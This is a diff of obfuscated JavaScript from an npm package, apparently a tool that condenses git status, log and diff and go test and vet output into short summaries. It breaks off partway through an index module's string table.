_0x451501['join']('\x0a');}function a0_0x11cf(_0x5d8b2f,_0x1c3a82){const _0x57aa19=a0_0x57aa();return a0_0x11cf=function(_0x11cf0e,_0x4b1bc7){_0x11cf0e=_0x11cf0e-0xae;let _0x3859e5=_0x57aa19[_0x11cf0e];return _0x3859e5;},a0_0x11cf(_0x5d8b2f,_0x1c3a82);}function filterGitLog(_0x172310){const _0x409bfc=a0_0x394644,_0xc3732b=_0x172310['split'](_0x409bfc(0xb7))[_0x409bfc(0xd4)](_0x230fbb=>_0x230fbb[_0x409bfc(0xb9)]())[_0x409bfc(0xb4)](_0x2d58ed=>_0x2d58ed[_0x409bfc(0xe0)]>0x0);if(_0xc3732b[_0x409bfc(0xe0)]===0x0)return _0x172310;const _0xcb9691=[];for(const _0x1babc8 of _0xc3732b){const _0x5d1c45=_0x1babc8[_0x409bfc(0xe1)]('\x0a'),_0x3b7d53=_0x5d1c45[0x0]||'',_0x52d5ea=_0x5d1c45[_0x409bfc(0xc6)](0x1)['map'](_0x2b4158=>_0x2b4158[_0x409bfc(0xb9)]())[_0x409bfc(0xb4)](_0x54661d=>_0x54661d[_0x409bfc(0xe0)]>0x0);_0xcb9691[_0x409bfc(0xcf)]('-\x20'+_0x3b7d53),_0x52d5ea[_0x409bfc(0xe0)]>0x0&&(_0xcb9691[_0x409bfc(0xcf)]('\x20\x20'+_0x52d5ea[0x0]),_0x52d5ea[_0x409bfc(0xe0)]>0x1&&_0xcb9691[_0x409bfc(0xcf)](_0x409bfc(0xd8)+(_0x52d5ea['length']-0x1)+_0x409bfc(0xca)));}return _0xcb9691[_0x409bfc(0xcc)]('\x0a');}function filterGitDiff(_0x4e28a1){const _0x4b66eb=a0_0x394644,_0x3bc5c0=_0x4e28a1[_0x4b66eb(0xe1)]('\x0a'),_0x44c698=[];let _0x3e64ec='',_0xcd10ac=0x0,_0x4ac582=0x0,_0x24c484=[];const _0x2e48dc=()=>{const _0x237101=_0x4b66eb;if(_0x3e64ec&&(_0xcd10ac>0x0||_0x4ac582>0x0)){_0x44c698[_0x237101(0xcf)]('[file]\x20'+_0x3e64ec+_0x237101(0xc1)+_0xcd10ac+'\x20-'+_0x4ac582+')');const _0x1b5829=0xa,_0x72b435=_0x24c484[_0x237101(0xc6)](0x0,_0x1b5829);for(const _0x3f9e09 of _0x72b435){_0x44c698[_0x237101(0xcf)]('\x20\x20'+_0x3f9e09);}const _0x1f574b=_0xcd10ac+_0x4ac582-_0x1b5829;_0x1f574b>0x0&&_0x44c698[_0x237101(0xcf)](_0x237101(0xd5)+_0x1f574b+'\x20more\x20modifications');}_0xcd10ac=0x0,_0x4ac582=0x0,_0x24c484=[];};for(const _0x260e9e of _0x3bc5c0){if(_0x260e9e['startsWith']('diff\x20--git')){_0x2e48dc();const _0xb79a9d=_0x260e9e[_0x4b66eb(0xb2)](/\sb\/(.+)$/);_0x3e64ec=_0xb79a9d?_0xb79a9d[0x1]:'unknown_file';}else{if(_0x260e9e[_0x4b66eb(0xb0)]('+')&&!_0x260e9e[_0x4b66eb(0xb0)](_0x4b66eb(0xc7)))_0xcd10ac++,_0x24c484[_0x4b66eb(0xcf)](_0x260e9e);else _0x260e9e[_0x4b66eb(0xb0)]('-')&&!_0x260e9e[_0x4b66eb(0xb0)]('---')&&(_0x4ac582++,_0x24c484['push'](_0x260e9e));}}_0x2e48dc();const _0x4d34ea=_0x44c698[_0x4b66eb(0xcc)]('\x0a');return _0x4d34ea[_0x4b66eb(0xe0)]>0x0?_0x4d34ea:_0x4b66eb(0xc2);}
1
+ 'use strict';const a0_0x2a2e6e=a0_0x1a2c;(function(_0x5929be,_0x1bc444){const _0x39b76d=a0_0x1a2c,_0x55e2ee=_0x5929be();while(!![]){try{const _0x47a2c8=-parseInt(_0x39b76d(0x1d7))/0x1*(parseInt(_0x39b76d(0x1d2))/0x2)+parseInt(_0x39b76d(0x1d3))/0x3*(-parseInt(_0x39b76d(0x1b7))/0x4)+-parseInt(_0x39b76d(0x1b4))/0x5+parseInt(_0x39b76d(0x1bd))/0x6+parseInt(_0x39b76d(0x1b3))/0x7*(-parseInt(_0x39b76d(0x1c1))/0x8)+parseInt(_0x39b76d(0x1d4))/0x9+parseInt(_0x39b76d(0x1d0))/0xa;if(_0x47a2c8===_0x1bc444)break;else _0x55e2ee['push'](_0x55e2ee['shift']());}catch(_0x5f5881){_0x55e2ee['push'](_0x55e2ee['shift']());}}}(a0_0x3eb8,0x8bdfc));function a0_0x1a2c(_0x592c8f,_0x2ff9ef){const _0x3eb8c4=a0_0x3eb8();return a0_0x1a2c=function(_0x1a2c0e,_0x17fc59){_0x1a2c0e=_0x1a2c0e-0x1a3;let _0x5d0e59=_0x3eb8c4[_0x1a2c0e];return _0x5d0e59;},a0_0x1a2c(_0x592c8f,_0x2ff9ef);}function a0_0x3eb8(){const _0x117c8c=['2047484nbFKkO','23523UyZZzb','9901044FxiBPB','\x0aChanges:','No\x20modifications','1PSDPqX','Clean\x20working\x20tree','__createBinding','unknown_file','match','\x20lines\x20of\x20description)','path','\x20\x20??\x20','split','configurable','substring','\x20(+','\x20\x20...\x20+','filterGitStatus','map','dirname','join','\x20more\x20modifications','__importStar','getOwnPropertyNames','21RAnLQN','4298300CIXRVZ','get','filter','196cXhXgI','*\x20Branch:\x20','\x20untracked\x20files)','create','length','prototype','271266bOZvDn','entries','filterGitDiff','diff\x20--git','732704HmCUpO','\x0aUntracked\x20files:','__setModuleDefault','push','---END---','default','\x20\x20...\x20(+','+++','slice','defineProperty','replace','__esModule','startsWith','/\x20(','basename','19699720HayMKw','trim'];a0_0x3eb8=function(){return _0x117c8c;};return a0_0x3eb8();}var __createBinding=this&&this[a0_0x2a2e6e(0x1d9)]||(Object[a0_0x2a2e6e(0x1ba)]?function(_0x1ddc9b,_0x550adf,_0x1cf0e1,_0x5b7c41){const _0x5559e9=a0_0x2a2e6e;if(_0x5b7c41===undefined)_0x5b7c41=_0x1cf0e1;var _0x2c2b68=Object['getOwnPropertyDescriptor'](_0x550adf,_0x1cf0e1);(!_0x2c2b68||(_0x5559e9(0x1b5)in _0x2c2b68?!_0x550adf['__esModule']:_0x2c2b68['writable']||_0x2c2b68[_0x5559e9(0x1a8)]))&&(_0x2c2b68={'enumerable':!![],'get':function(){return _0x550adf[_0x1cf0e1];}}),Object[_0x5559e9(0x1ca)](_0x1ddc9b,_0x5b7c41,_0x2c2b68);}:function(_0x2e4576,_0x5d31af,_0x10bc35,_0x28a855){if(_0x28a855===undefined)_0x28a855=_0x10bc35;_0x2e4576[_0x28a855]=_0x5d31af[_0x10bc35];}),__setModuleDefault=this&&this[a0_0x2a2e6e(0x1c3)]||(Object[a0_0x2a2e6e(0x1ba)]?function(_0x3eed04,_0x49997c){const _0x2310db=a0_0x2a2e6e;Object[_0x2310db(0x1ca)](_0x3eed04,_0x2310db(0x1c6),{'enumerable':!![],'value':_0x49997c});}:function(_0x3ac350,_0x126b6c){const _0x27adfd=a0_0x2a2e6e;_0x3ac350[_0x27adfd(0x1c6)]=_0x126b6c;}),__importStar=this&&this[a0_0x2a2e6e(0x1b1)]||(function(){var _0x5728b7=function(_0x592076){const _0x38a43e=a0_0x1a2c;return _0x5728b7=Object[_0x38a43e(0x1b2)]||function(_0x5592d){const _0x4a3897=_0x38a43e;var _0x5ffca=[];for(var _0x139b3d in _0x5592d)if(Object[_0x4a3897(0x1bc)]['hasOwnProperty']['call'](_0x5592d,_0x139b3d))_0x5ffca[_0x5ffca[_0x4a3897(0x1bb)]]=_0x139b3d;return _0x5ffca;},_0x5728b7(_0x592076);};return function(_0x9312f3){const _0x2a2d56=a0_0x1a2c;if(_0x9312f3&&_0x9312f3[_0x2a2d56(0x1cc)])return _0x9312f3;var _0xb7dda={};if(_0x9312f3!=null){for(var _0x15fd19=_0x5728b7(_0x9312f3),_0x326a60=0x0;_0x326a60<_0x15fd19['length'];_0x326a60++)if(_0x15fd19[_0x326a60]!==_0x2a2d56(0x1c6))__createBinding(_0xb7dda,_0x9312f3,_0x15fd19[_0x326a60]);}return __setModuleDefault(_0xb7dda,_0x9312f3),_0xb7dda;};}());Object['defineProperty'](exports,'__esModule',{'value':!![]}),exports[a0_0x2a2e6e(0x1ac)]=filterGitStatus,exports['filterGitLog']=filterGitLog,exports[a0_0x2a2e6e(0x1bf)]=filterGitDiff;const path=__importStar(require(a0_0x2a2e6e(0x1a5)));function filterGitStatus(_0x5d019b){const _0x31ef17=a0_0x2a2e6e,_0x1db91e=_0x5d019b[_0x31ef17(0x1a7)]('\x0a')['map'](_0x10f437=>_0x10f437[_0x31ef17(0x1d1)]())[_0x31ef17(0x1b6)](_0x7e2d1c=>_0x7e2d1c['length']>0x0);if(_0x1db91e['length']===0x0)return _0x31ef17(0x1d8);const _0x6cb41d=[],_0x24cf43=[],_0x46c6ca=[];for(const _0x455976 of _0x1db91e){if(_0x455976['startsWith']('##')){const _0x29a455=_0x455976[_0x31ef17(0x1cb)](/^##\s*/,'');_0x6cb41d['push'](_0x31ef17(0x1b8)+_0x29a455);}else _0x455976[_0x31ef17(0x1cd)]('??')?_0x24cf43[_0x31ef17(0x1c4)](_0x455976[_0x31ef17(0x1a9)](0x3)[_0x31ef17(0x1d1)]()):_0x46c6ca[_0x31ef17(0x1c4)](_0x455976);}_0x46c6ca[_0x31ef17(0x1bb)]>0x0&&(_0x6cb41d[_0x31ef17(0x1c4)](_0x31ef17(0x1d5)),_0x6cb41d[_0x31ef17(0x1c4)](..._0x46c6ca[_0x31ef17(0x1ad)](_0x37a27f=>'\x20\x20'+_0x37a27f)));if(_0x24cf43[_0x31ef17(0x1bb)]>0x0){_0x6cb41d[_0x31ef17(0x1c4)](_0x31ef17(0x1c2));const _0x24d72e={},_0xb71d8c=[];for(const _0x4425b1 of _0x24cf43){const _0x560e7e=path[_0x31ef17(0x1ae)](_0x4425b1);_0x560e7e==='.'||_0x560e7e===''?_0xb71d8c['push'](_0x4425b1):(!_0x24d72e[_0x560e7e]&&(_0x24d72e[_0x560e7e]=[]),_0x24d72e[_0x560e7e][_0x31ef17(0x1c4)](path[_0x31ef17(0x1cf)](_0x4425b1)));}for(const [_0x5c7e11,_0x24873b]of Object[_0x31ef17(0x1be)](_0x24d72e)){if(_0x24873b[_0x31ef17(0x1bb)]>0x5)_0x6cb41d[_0x31ef17(0x1c4)](_0x31ef17(0x1a6)+_0x5c7e11+_0x31ef17(0x1ce)+_0x24873b[_0x31ef17(0x1bb)]+_0x31ef17(0x1b9));else for(const _0x19f06a of _0x24873b){_0x6cb41d[_0x31ef17(0x1c4)](_0x31ef17(0x1a6)+path[_0x31ef17(0x1af)](_0x5c7e11,_0x19f06a));}}for(const _0xa07523 of _0xb71d8c){_0x6cb41d['push'](_0x31ef17(0x1a6)+_0xa07523);}}return _0x6cb41d[_0x31ef17(0x1af)]('\x0a');}function filterGitLog(_0x1cf5f3){const _0x41cea2=a0_0x2a2e6e,_0x1fc3af=_0x1cf5f3['split'](_0x41cea2(0x1c5))[_0x41cea2(0x1ad)](_0x50c2fd=>_0x50c2fd[_0x41cea2(0x1d1)]())['filter'](_0x424ada=>_0x424ada[_0x41cea2(0x1bb)]>0x0);if(_0x1fc3af[_0x41cea2(0x1bb)]===0x0)return _0x1cf5f3;const _0x1b9d6d=[];for(const _0x2fbaab of _0x1fc3af){const _0x5d856b=_0x2fbaab[_0x41cea2(0x1a7)]('\x0a'),_0x3a56ec=_0x5d856b[0x0]||'',_0x4d5bcc=_0x5d856b[_0x41cea2(0x1c9)](0x1)[_0x41cea2(0x1ad)](_0x4282c4=>_0x4282c4['trim']())[_0x41cea2(0x1b6)](_0x4ba234=>_0x4ba234['length']>0x0);_0x1b9d6d[_0x41cea2(0x1c4)]('-\x20'+_0x3a56ec),_0x4d5bcc[_0x41cea2(0x1bb)]>0x0&&(_0x1b9d6d[_0x41cea2(0x1c4)]('\x20\x20'+_0x4d5bcc[0x0]),_0x4d5bcc[_0x41cea2(0x1bb)]>0x1&&_0x1b9d6d[_0x41cea2(0x1c4)](_0x41cea2(0x1c7)+(_0x4d5bcc[_0x41cea2(0x1bb)]-0x1)+_0x41cea2(0x1a4)));}return _0x1b9d6d[_0x41cea2(0x1af)]('\x0a');}function filterGitDiff(_0x5b2f52){const _0x122b97=a0_0x2a2e6e,_0x5df1fa=_0x5b2f52['split']('\x0a'),_0x41a493=[];let _0x384249='',_0x3abe30=0x0,_0x1dc088=0x0,_0x562c19=[];const _0x1c6ace=()=>{const _0x59ad52=a0_0x1a2c;if(_0x384249&&(_0x3abe30>0x0||_0x1dc088>0x0)){_0x41a493[_0x59ad52(0x1c4)]('[file]\x20'+_0x384249+_0x59ad52(0x1aa)+_0x3abe30+'\x20-'+_0x1dc088+')');const _0x59816f=0xa,_0x334feb=_0x562c19[_0x59ad52(0x1c9)](0x0,_0x59816f);for(const _0x542ece of _0x334feb){_0x41a493[_0x59ad52(0x1c4)]('\x20\x20'+_0x542ece);}const _0x97264f=_0x3abe30+_0x1dc088-_0x59816f;_0x97264f>0x0&&_0x41a493[_0x59ad52(0x1c4)](_0x59ad52(0x1ab)+_0x97264f+_0x59ad52(0x1b0));}_0x3abe30=0x0,_0x1dc088=0x0,_0x562c19=[];};for(const _0x489650 of _0x5df1fa){if(_0x489650[_0x122b97(0x1cd)](_0x122b97(0x1c0))){_0x1c6ace();const _0x42a0eb=_0x489650[_0x122b97(0x1a3)](/\sb\/(.+)$/);_0x384249=_0x42a0eb?_0x42a0eb[0x1]:_0x122b97(0x1da);}else{if(_0x489650[_0x122b97(0x1cd)]('+')&&!_0x489650[_0x122b97(0x1cd)](_0x122b97(0x1c8)))_0x3abe30++,_0x562c19[_0x122b97(0x1c4)](_0x489650);else _0x489650[_0x122b97(0x1cd)]('-')&&!_0x489650[_0x122b97(0x1cd)]('---')&&(_0x1dc088++,_0x562c19[_0x122b97(0x1c4)](_0x489650));}}_0x1c6ace();const _0x3d6be0=_0x41a493['join']('\x0a');return _0x3d6be0['length']>0x0?_0x3d6be0:_0x122b97(0x1d6);}
package/filters/go.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x317af4=a0_0x3900;function a0_0x2f3a(){const _0x4a61ab=['\x20more\x20issues','\x20skipped','\x0aFailures:','5837685HVPtDx','Go\x20test:\x20no\x20test\x20files','startsWith','1645405UEoFTL','Go\x20vet:\x20no\x20issues\x20found','\x20failed,\x20','695970osMiTI','name','match','Go\x20test:\x20all\x20tests\x20passed','===\x20RUN','6OaBMUE','27080jDlmHY','filterGoVet','\x20more\x20failures','min','FAIL','push','1800190yePRqI','join','__esModule','Go\x20test:\x20','12BSjQoX','---\x20SKIP:','649816ylVlIz','\x20issues\x20found','2AQSRzF','no\x20test\x20files','trim','6878664zPDWVm','length','\x20passed,\x20','split','includes','lines','PASS','\x20\x20\x20\x20','Go\x20vet:\x20','...\x20+','9FwkYuD'];a0_0x2f3a=function(){return _0x4a61ab;};return a0_0x2f3a();}(function(_0x55bfa7,_0x6cd532){const _0x2d426c=a0_0x3900,_0x412f0=_0x55bfa7();while(!![]){try{const _0xcda887=-parseInt(_0x2d426c(0x1bf))/0x1*(-parseInt(_0x2d426c(0x1c1))/0x2)+-parseInt(_0x2d426c(0x1bd))/0x3*(parseInt(_0x2d426c(0x1b3))/0x4)+parseInt(_0x2d426c(0x1aa))/0x5*(-parseInt(_0x2d426c(0x1b2))/0x6)+-parseInt(_0x2d426c(0x1a7))/0x7+-parseInt(_0x2d426c(0x1c4))/0x8*(-parseInt(_0x2d426c(0x1a3))/0x9)+parseInt(_0x2d426c(0x1b9))/0xa+-parseInt(_0x2d426c(0x1ad))/0xb;if(_0xcda887===_0x6cd532)break;else _0x412f0['push'](_0x412f0['shift']());}catch(_0x3f3cdb){_0x412f0['push'](_0x412f0['shift']());}}}(a0_0x2f3a,0x6a83a));Object['defineProperty'](exports,a0_0x317af4(0x1bb),{'value':!![]}),exports['filterGoTest']=filterGoTest,exports[a0_0x317af4(0x1b4)]=filterGoVet;function filterGoTest(_0x5ca680){const _0x4f46c5=a0_0x317af4,_0x3fb2cb=_0x5ca680[_0x4f46c5(0x19c)]('\x0a');let _0x28f0fd=0x0,_0x2d834c=0x0,_0x677e1=0x0;const _0x426a1e=[],_0x55396e=[];let _0x536239=null;for(const _0x4325ec of _0x3fb2cb){const _0x1f6cfb=_0x4325ec[_0x4f46c5(0x1c3)](),_0x359cd5=_0x1f6cfb[_0x4f46c5(0x1af)](/^ok\s+\S+\s+[\d.]+s/);if(_0x359cd5){_0x55396e[_0x4f46c5(0x1b8)](_0x1f6cfb);continue;}const _0x372056=_0x1f6cfb['match'](/^FAIL\s+\S+/);if(_0x372056){_0x55396e[_0x4f46c5(0x1b8)](_0x1f6cfb);continue;}const _0x448651=_0x1f6cfb[_0x4f46c5(0x1af)](/^--- PASS:/);if(_0x448651){_0x28f0fd++;continue;}const _0x15d263=_0x1f6cfb['match'](/^--- FAIL:\s+(\S+)/);if(_0x15d263){if(_0x536239)_0x426a1e[_0x4f46c5(0x1b8)](_0x536239);_0x536239={'name':_0x15d263[0x1],'lines':[]},_0x2d834c++;continue;}if(_0x1f6cfb[_0x4f46c5(0x1a9)](_0x4f46c5(0x1be))){_0x677e1++;continue;}_0x536239&&_0x1f6cfb['length']>0x0&&!_0x1f6cfb[_0x4f46c5(0x1a9)]('===\x20RUN')&&_0x536239[_0x4f46c5(0x19e)][_0x4f46c5(0x1b8)](_0x4325ec),_0x1f6cfb[_0x4f46c5(0x1a9)](_0x4f46c5(0x1b1))&&(_0x536239&&(_0x426a1e[_0x4f46c5(0x1b8)](_0x536239),_0x536239=null));}if(_0x536239)_0x426a1e[_0x4f46c5(0x1b8)](_0x536239);if(_0x28f0fd===0x0&&_0x2d834c===0x0&&_0x677e1===0x0){if(_0x5ca680[_0x4f46c5(0x19d)](_0x4f46c5(0x19f))&&!_0x5ca680[_0x4f46c5(0x19d)](_0x4f46c5(0x1b7)))return _0x4f46c5(0x1b0);if(_0x5ca680[_0x4f46c5(0x19d)](_0x4f46c5(0x1c2)))return _0x4f46c5(0x1a8);return _0x5ca680;}if(_0x2d834c===0x0){const _0x1f693f=['Go\x20test:\x20'+_0x28f0fd+'\x20passed'];if(_0x677e1>0x0)_0x1f693f[_0x4f46c5(0x1b8)](_0x677e1+_0x4f46c5(0x1a5));return _0x1f693f[_0x4f46c5(0x1ba)](',\x20');}const _0x3e5a3a=[_0x4f46c5(0x1bc)+_0x28f0fd+_0x4f46c5(0x1c6)+_0x2d834c+_0x4f46c5(0x1ac)+_0x677e1+_0x4f46c5(0x1a5)];if(_0x426a1e[_0x4f46c5(0x1c5)]>0x0){_0x3e5a3a[_0x4f46c5(0x1b8)](_0x4f46c5(0x1a6));const _0x34dfe1=0x3;for(let _0x531a12=0x0;_0x531a12<Math[_0x4f46c5(0x1b6)](_0x426a1e[_0x4f46c5(0x1c5)],_0x34dfe1);_0x531a12++){const _0x3ebd15=_0x426a1e[_0x531a12];_0x3e5a3a[_0x4f46c5(0x1b8)]('\x20\x20'+(_0x531a12+0x1)+'.\x20'+_0x3ebd15[_0x4f46c5(0x1ae)]);for(const _0xfc8a83 of _0x3ebd15['lines']['slice'](0x0,0x5)){_0x3e5a3a[_0x4f46c5(0x1b8)](_0x4f46c5(0x1a0)+_0xfc8a83[_0x4f46c5(0x1c3)]());}_0x3ebd15[_0x4f46c5(0x19e)][_0x4f46c5(0x1c5)]>0x5&&_0x3e5a3a[_0x4f46c5(0x1b8)]('\x20\x20\x20\x20...\x20+'+(_0x3ebd15[_0x4f46c5(0x19e)][_0x4f46c5(0x1c5)]-0x5)+'\x20more\x20lines');}_0x426a1e[_0x4f46c5(0x1c5)]>_0x34dfe1&&_0x3e5a3a[_0x4f46c5(0x1b8)]('\x20\x20...\x20+'+(_0x426a1e[_0x4f46c5(0x1c5)]-_0x34dfe1)+_0x4f46c5(0x1b5));}return _0x3e5a3a[_0x4f46c5(0x1ba)]('\x0a');}function a0_0x3900(_0x13bbba,_0x11e1d4){const _0x2f3a2e=a0_0x2f3a();return a0_0x3900=function(_0x390053,_0x5b07d7){_0x390053=_0x390053-0x19c;let _0x361b6d=_0x2f3a2e[_0x390053];return _0x361b6d;},a0_0x3900(_0x13bbba,_0x11e1d4);}function filterGoVet(_0x5d703a){const _0x1167e9=a0_0x317af4,_0x188cc4=_0x5d703a[_0x1167e9(0x19c)]('\x0a')['filter'](_0x1c47dd=>_0x1c47dd[_0x1167e9(0x1c3)]()['length']>0x0);if(_0x188cc4['length']===0x0)return _0x1167e9(0x1ab);if(_0x188cc4['length']<=0x14)return _0x5d703a[_0x1167e9(0x1c3)]();const _0x4bfc11=[_0x1167e9(0x1a1)+_0x188cc4['length']+_0x1167e9(0x1c0)];return _0x4bfc11[_0x1167e9(0x1b8)](..._0x188cc4['slice'](0x0,0xa)),_0x188cc4[_0x1167e9(0x1c5)]>0xa&&_0x4bfc11[_0x1167e9(0x1b8)](_0x1167e9(0x1a2)+(_0x188cc4[_0x1167e9(0x1c5)]-0xa)+_0x1167e9(0x1a4)),_0x4bfc11[_0x1167e9(0x1ba)]('\x0a');}
1
+ 'use strict';const a0_0x54da2d=a0_0x57dd;function a0_0x57dd(_0x5d2fe7,_0x228698){const _0x5817d1=a0_0x5817();return a0_0x57dd=function(_0x57dd41,_0x42a717){_0x57dd41=_0x57dd41-0x91;let _0x310468=_0x5817d1[_0x57dd41];return _0x310468;},a0_0x57dd(_0x5d2fe7,_0x228698);}(function(_0x212996,_0x18a7db){const _0x3d0837=a0_0x57dd,_0x56957b=_0x212996();while(!![]){try{const _0x411a93=-parseInt(_0x3d0837(0xb6))/0x1*(-parseInt(_0x3d0837(0x9e))/0x2)+-parseInt(_0x3d0837(0xab))/0x3*(parseInt(_0x3d0837(0xb8))/0x4)+-parseInt(_0x3d0837(0x9f))/0x5+-parseInt(_0x3d0837(0xba))/0x6*(parseInt(_0x3d0837(0x9d))/0x7)+parseInt(_0x3d0837(0xb9))/0x8*(-parseInt(_0x3d0837(0xaa))/0x9)+parseInt(_0x3d0837(0x99))/0xa+parseInt(_0x3d0837(0xa2))/0xb;if(_0x411a93===_0x18a7db)break;else _0x56957b['push'](_0x56957b['shift']());}catch(_0x45e9bd){_0x56957b['push'](_0x56957b['shift']());}}}(a0_0x5817,0xed2e6));Object[a0_0x54da2d(0x98)](exports,a0_0x54da2d(0xa3),{'value':!![]}),exports[a0_0x54da2d(0xb0)]=filterGoTest,exports[a0_0x54da2d(0xbe)]=filterGoVet;function filterGoTest(_0x371239){const _0x3c89fe=a0_0x54da2d,_0x2560d5=_0x371239[_0x3c89fe(0xac)]('\x0a');let _0x356e1f=0x0,_0x462a69=0x0,_0x191aef=0x0;const _0x2b01e3=[],_0x3783bb=[];let _0x4c7ecd=null;for(const _0x14c2ad of _0x2560d5){const _0x484b67=_0x14c2ad[_0x3c89fe(0xb7)](),_0x3bca4a=_0x484b67['match'](/^ok\s+\S+\s+[\d.]+s/);if(_0x3bca4a){_0x3783bb[_0x3c89fe(0x9a)](_0x484b67);continue;}const _0x31a801=_0x484b67[_0x3c89fe(0xb3)](/^FAIL\s+\S+/);if(_0x31a801){_0x3783bb[_0x3c89fe(0x9a)](_0x484b67);continue;}const _0x25491c=_0x484b67[_0x3c89fe(0xb3)](/^--- PASS:/);if(_0x25491c){_0x356e1f++;continue;}const _0x58638a=_0x484b67[_0x3c89fe(0xb3)](/^--- FAIL:\s+(\S+)/);if(_0x58638a){if(_0x4c7ecd)_0x2b01e3[_0x3c89fe(0x9a)](_0x4c7ecd);_0x4c7ecd={'name':_0x58638a[0x1],'lines':[]},_0x462a69++;continue;}if(_0x484b67['startsWith'](_0x3c89fe(0xad))){_0x191aef++;continue;}_0x4c7ecd&&_0x484b67[_0x3c89fe(0x97)]>0x0&&!_0x484b67[_0x3c89fe(0x94)](_0x3c89fe(0xa0))&&_0x4c7ecd[_0x3c89fe(0x95)]['push'](_0x14c2ad),_0x484b67[_0x3c89fe(0x94)](_0x3c89fe(0xa0))&&(_0x4c7ecd&&(_0x2b01e3[_0x3c89fe(0x9a)](_0x4c7ecd),_0x4c7ecd=null));}if(_0x4c7ecd)_0x2b01e3[_0x3c89fe(0x9a)](_0x4c7ecd);if(_0x356e1f===0x0&&_0x462a69===0x0&&_0x191aef===0x0){if(_0x371239[_0x3c89fe(0x9b)](_0x3c89fe(0x91))&&!_0x371239['includes'](_0x3c89fe(0xa9)))return _0x3c89fe(0xa8);if(_0x371239[_0x3c89fe(0x9b)](_0x3c89fe(0xb2)))return'Go\x20test:\x20no\x20test\x20files';return _0x371239;}if(_0x462a69===0x0){const _0x5ab038=[_0x3c89fe(0x96)+_0x356e1f+'\x20passed'];if(_0x191aef>0x0)_0x5ab038[_0x3c89fe(0x9a)](_0x191aef+_0x3c89fe(0xa7));return _0x5ab038[_0x3c89fe(0xae)](',\x20');}const _0x1a891c=[_0x3c89fe(0x96)+_0x356e1f+_0x3c89fe(0xaf)+_0x462a69+_0x3c89fe(0x92)+_0x191aef+_0x3c89fe(0xa7)];if(_0x2b01e3[_0x3c89fe(0x97)]>0x0){_0x1a891c[_0x3c89fe(0x9a)](_0x3c89fe(0xb4));const _0x32c4c5=0x3;for(let _0x2f1411=0x0;_0x2f1411<Math[_0x3c89fe(0xa4)](_0x2b01e3[_0x3c89fe(0x97)],_0x32c4c5);_0x2f1411++){const _0x2b5fdb=_0x2b01e3[_0x2f1411];_0x1a891c[_0x3c89fe(0x9a)]('\x20\x20'+(_0x2f1411+0x1)+'.\x20'+_0x2b5fdb[_0x3c89fe(0xa5)]);for(const _0x2bef20 of _0x2b5fdb[_0x3c89fe(0x95)]['slice'](0x0,0x5)){_0x1a891c[_0x3c89fe(0x9a)]('\x20\x20\x20\x20'+_0x2bef20[_0x3c89fe(0xb7)]());}_0x2b5fdb['lines'][_0x3c89fe(0x97)]>0x5&&_0x1a891c[_0x3c89fe(0x9a)](_0x3c89fe(0xbc)+(_0x2b5fdb[_0x3c89fe(0x95)][_0x3c89fe(0x97)]-0x5)+_0x3c89fe(0xb5));}_0x2b01e3[_0x3c89fe(0x97)]>_0x32c4c5&&_0x1a891c[_0x3c89fe(0x9a)](_0x3c89fe(0xa1)+(_0x2b01e3[_0x3c89fe(0x97)]-_0x32c4c5)+_0x3c89fe(0xbd));}return _0x1a891c[_0x3c89fe(0xae)]('\x0a');}function filterGoVet(_0x4142bf){const _0x251925=a0_0x54da2d,_0x1cf78c=_0x4142bf[_0x251925(0xac)]('\x0a')[_0x251925(0x93)](_0x41bbc4=>_0x41bbc4[_0x251925(0xb7)]()[_0x251925(0x97)]>0x0);if(_0x1cf78c[_0x251925(0x97)]===0x0)return'Go\x20vet:\x20no\x20issues\x20found';if(_0x1cf78c[_0x251925(0x97)]<=0x14)return _0x4142bf[_0x251925(0xb7)]();const _0x4784fb=[_0x251925(0xb1)+_0x1cf78c[_0x251925(0x97)]+_0x251925(0xbb)];return _0x4784fb['push'](..._0x1cf78c[_0x251925(0xbf)](0x0,0xa)),_0x1cf78c[_0x251925(0x97)]>0xa&&_0x4784fb[_0x251925(0x9a)](_0x251925(0xa6)+(_0x1cf78c[_0x251925(0x97)]-0xa)+_0x251925(0x9c)),_0x4784fb[_0x251925(0xae)]('\x0a');}function a0_0x5817(){const _0x132ed7=['Go\x20vet:\x20','no\x20test\x20files','match','\x0aFailures:','\x20more\x20lines','263445PQPKNu','trim','4sbMtOX','16352ibpcbZ','10406196KqPSjd','\x20issues\x20found','\x20\x20\x20\x20...\x20+','\x20more\x20failures','filterGoVet','slice','PASS','\x20failed,\x20','filter','startsWith','lines','Go\x20test:\x20','length','defineProperty','1880940bHNYUb','push','includes','\x20more\x20issues','7MPaPYc','4wdGlMX','587605PGkhOB','===\x20RUN','\x20\x20...\x20+','49182012qkckOB','__esModule','min','name','...\x20+','\x20skipped','Go\x20test:\x20all\x20tests\x20passed','FAIL','5697rpTTDU','3206529rObeBT','split','---\x20SKIP:','join','\x20passed,\x20','filterGoTest'];a0_0x5817=function(){return _0x132ed7;};return a0_0x5817();}
package/filters/index.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x35a65e=a0_0x433f;function a0_0x17a0(){const _0x2e0c42=['lastFeatures','filterJestVitest','\x20tree','trim\x20npx','filterDockerPs','[minified\x20file]','toLowerCase','[lock\x20file]','[binary','trim\x20ruff','match','pnpm\x20install','git\x20diff','18070XqzeRu','includes','filterRuff','npm\x20install','features_enabled','cargo\x20build','../tracker','filter','filterCargoBuild','trim\x20pytest','yadm\x20log','---','vitest','yarn\x20install','pytest','./python','cargo\x20check','defineProperty','filterGoTest','collapseDuplicates','pip\x20install','trim\x20gh','cargo\x20clippy','filterNpmInstall','endsWith','1112688GtqIwL','102151gymkiQ','redactWithAudit','lock','kubectl','filterDockerLogs','filterKubectl','npm\x20i','trim\x20read','filterCargoTest','filterCat','compressOutput','70746jLbSgJ','pattern','length','filterTree','ansi_strip','npm\x20i\x20','trim\x20tree','trim\x20npm','rewriteCommand','1ikZHjl','lastRedactAudit','npm\x20run\x20test','getConfig','trim\x20find','filterGitDiff','get','secretsFound','trim\x20pnpm','filterGrep','trim\x20grep','filterFind','24YzokUk','16DXoHId','./rust','yarn\x20test','trim','./go','387DNyFwJ','redactor','\x20ls','git\x20show','whitespace','secretTypes','go\x20vet','binary','trim\x20cargo','stripAnsi','yadm\x20status','trim\x20','1847197RgAvsL','go\x20test','redact','308548ndTRCt','text','test','softTruncate','./js','trim\x20glab','startsWith','ruff\x20check','tracker','cargo\x20test','pip3\x20install','yadm\x20diff','collapseWhitespace','trim\x20go','trim\x20kubectl','lines\x20truncated','push','../redactor','5VbMzLc','3186648YIKZpV','filterGitStatus','trim\x2